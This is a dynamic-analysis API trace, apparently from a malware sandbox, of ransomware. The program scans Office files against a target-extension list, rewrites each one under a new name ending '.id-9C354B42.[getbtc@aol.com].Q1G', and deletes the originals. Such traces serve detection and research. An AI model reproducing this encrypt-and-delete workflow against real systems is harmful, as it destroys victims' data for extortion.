lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.603] lstrlenW (lpString=".docx") returned 5 [0248.603] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.603] lstrlenW (lpString=".pdf") returned 4 [0248.604] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString=".xls") returned 4 [0248.604] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString=".xlsx") returned 5 [0248.604] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.604] lstrlenW (lpString=".ppt") returned 4 [0248.604] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.604] lstrlenW (lpString=".zip") returned 4 [0248.604] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString=".rar") returned 4 [0248.604] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString=".bz2") returned 4 [0248.604] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.604] lstrlenW (lpString=".7z") returned 3 [0248.604] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.604] lstrlenW (lpString=".dbf") returned 4 [0248.604] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.604] lstrlenW (lpString=".1cd") returned 4 [0248.604] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.604] lstrlenW (lpString=".jpg") returned 4 [0248.604] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.604] lstrlenW (lpString=".doc") returned 4 [0248.604] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0248.604] lstrlenW (lpString=".docx") returned 5 [0248.604] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0248.604] lstrlenW (lpString=".pdf") returned 4 [0248.604] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString=".xls") returned 4 [0248.604] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0248.604] lstrlenW (lpString=".xlsx") returned 5 [0248.605] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0248.605] lstrlenW (lpString=".ppt") returned 4 [0248.605] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.605] lstrlenW (lpString=".zip") returned 4 [0248.605] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0248.605] lstrlenW (lpString=".rar") returned 4 [0248.605] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0248.605] lstrlenW (lpString=".bz2") returned 4 [0248.605] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0248.605] lstrlenW (lpString=".7z") returned 3 [0248.605] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.605] lstrlenW (lpString=".dbf") returned 4 [0248.605] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.605] lstrlenW (lpString=".1cd") returned 4 [0248.605] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0248.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0248.605] lstrlenW (lpString=".jpg") returned 4 [0248.605] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0248.605] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0248.605] lstrlenW (lpString="GRAPH_COL.HXT") returned 13 [0248.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.606] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=205) returned 1 [0248.606] CloseHandle (hObject=0x200) returned 1 [0248.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20 [0248.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.606] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.606] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.607] GetLastError () returned 0x0 [0248.607] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xcd, lpOverlapped=0x0) returned 1 [0248.610] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0248.610] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.610] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xee, lpOverlapped=0x0) returned 1 [0248.611] SetEndOfFile (hFile=0x3b4) returned 1 [0248.611] CloseHandle (hObject=0x3b4) returned 1 [0248.611] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.611] SetEndOfFile (hFile=0x200) returned 1 [0248.613] CloseHandle (hObject=0x200) returned 1 [0248.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 1 [0248.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.614] lstrlenW (lpString=".doc") returned 4 [0248.614] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.614] lstrlenW (lpString=".docx") returned 5 [0248.614] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.614] lstrlenW (lpString=".pdf") returned 4 [0248.614] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.614] lstrlenW (lpString=".xls") returned 4 [0248.614] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.614] lstrlenW (lpString=".xlsx") returned 5 [0248.615] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.615] lstrlenW (lpString=".ppt") returned 4 [0248.615] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.615] lstrlenW (lpString=".zip") returned 4 [0248.615] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.615] lstrlenW (lpString=".rar") returned 4 [0248.615] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.615] lstrlenW (lpString=".bz2") returned 4 [0248.615] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.615] lstrlenW (lpString=".7z") returned 3 [0248.615] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.615] lstrlenW (lpString=".dbf") returned 4 [0248.615] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.615] lstrlenW (lpString=".1cd") returned 4 [0248.615] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.615] lstrlenW (lpString=".jpg") returned 4 [0248.615] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.615] lstrlenW (lpString=".doc") returned 4 [0248.615] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0248.615] lstrlenW (lpString=".docx") returned 5 [0248.615] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0248.615] lstrlenW (lpString=".pdf") returned 4 [0248.615] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0248.615] lstrlenW (lpString=".xls") returned 4 [0248.615] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0248.615] lstrlenW (lpString=".xlsx") returned 5 [0248.615] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0248.615] lstrlenW (lpString=".ppt") returned 4 [0248.615] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0248.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.616] lstrlenW (lpString=".zip") returned 4 [0248.616] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0248.616] lstrlenW (lpString=".rar") returned 4 [0248.616] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0248.616] lstrlenW (lpString=".bz2") returned 4 [0248.616] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0248.616] lstrlenW (lpString=".7z") returned 3 [0248.616] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0248.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.616] lstrlenW (lpString=".dbf") returned 4 [0248.616] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0248.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.616] lstrlenW (lpString=".1cd") returned 4 [0248.616] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0248.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT") returned 61 [0248.616] lstrlenW (lpString=".jpg") returned 4 [0248.616] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0248.616] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.616] lstrlenW (lpString="GRAPH_F_COL.HXK") returned 15 [0248.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.617] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=114) returned 1 [0248.617] CloseHandle (hObject=0x200) returned 1 [0248.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20 [0248.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.617] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.617] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.618] GetLastError () returned 0x0 [0248.618] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x72, lpOverlapped=0x0) returned 1 [0248.624] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0248.625] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.625] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0248.625] SetEndOfFile (hFile=0x3b4) returned 1 [0248.625] CloseHandle (hObject=0x3b4) returned 1 [0248.625] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.625] SetEndOfFile (hFile=0x200) returned 1 [0248.627] CloseHandle (hObject=0x200) returned 1 [0248.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 1 [0248.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.628] lstrlenW (lpString=".doc") returned 4 [0248.628] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.628] lstrlenW (lpString=".docx") returned 5 [0248.628] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.628] lstrlenW (lpString=".pdf") returned 4 [0248.628] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.628] lstrlenW (lpString=".xls") returned 4 [0248.629] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString=".xlsx") returned 5 [0248.629] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.629] lstrlenW (lpString=".ppt") returned 4 [0248.629] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.629] lstrlenW (lpString=".zip") returned 4 [0248.629] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString=".rar") returned 4 [0248.629] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString=".bz2") returned 4 [0248.629] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.629] lstrlenW (lpString=".7z") returned 3 [0248.629] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.629] lstrlenW (lpString=".dbf") returned 4 [0248.629] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.629] lstrlenW (lpString=".1cd") returned 4 [0248.629] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.629] lstrlenW (lpString=".jpg") returned 4 [0248.629] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.629] lstrlenW (lpString=".doc") returned 4 [0248.629] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.629] lstrlenW (lpString=".docx") returned 5 [0248.629] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.629] lstrlenW (lpString=".pdf") returned 4 [0248.629] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString=".xls") returned 4 [0248.629] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.629] lstrlenW (lpString=".xlsx") returned 5 [0248.629] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.629] lstrlenW (lpString=".ppt") returned 4 [0248.629] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.630] lstrlenW (lpString=".zip") returned 4 [0248.630] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.630] lstrlenW (lpString=".rar") returned 4 [0248.630] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.630] lstrlenW (lpString=".bz2") returned 4 [0248.630] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.630] lstrlenW (lpString=".7z") returned 3 [0248.630] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0248.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.630] lstrlenW (lpString=".dbf") returned 4 [0248.630] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0248.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.630] lstrlenW (lpString=".1cd") returned 4 [0248.630] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0248.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK") returned 63 [0248.630] lstrlenW (lpString=".jpg") returned 4 [0248.630] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0248.630] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0248.630] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15 [0248.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.631] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=113) returned 1 [0248.631] CloseHandle (hObject=0x200) returned 1 [0248.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20 [0248.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.631] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.631] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.632] GetLastError () returned 0x0 [0248.632] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x71, lpOverlapped=0x0) returned 1 [0248.633] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x80, lpOverlapped=0x0) returned 1 [0248.633] ReadFile (in: hFile=0x200, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.633] WriteFile (in: hFile=0x3b4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0248.634] SetEndOfFile (hFile=0x3b4) returned 1 [0248.634] CloseHandle (hObject=0x3b4) returned 1 [0248.634] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.634] SetEndOfFile (hFile=0x200) returned 1 [0248.636] CloseHandle (hObject=0x200) returned 1 [0248.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 1 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.637] lstrlenW (lpString=".doc") returned 4 [0248.637] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0248.637] lstrlenW (lpString=".docx") returned 5 [0248.637] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0248.637] lstrlenW (lpString=".pdf") returned 4 [0248.637] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0248.637] lstrlenW (lpString=".xls") returned 4 [0248.637] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0248.637] lstrlenW (lpString=".xlsx") returned 5 [0248.637] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0248.637] lstrlenW (lpString=".ppt") returned 4 [0248.637] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0248.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0248.637] lstrlenW (lpString=".zip") returned 4 [0248.637] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0248.637] lstrlenW (lpString=".rar") returned 4 [0248.637] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0248.637] lstrlenW (lpString=".bz2") returned 4 [0248.637] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0248.637] lstrlenW (lpString=".7z") 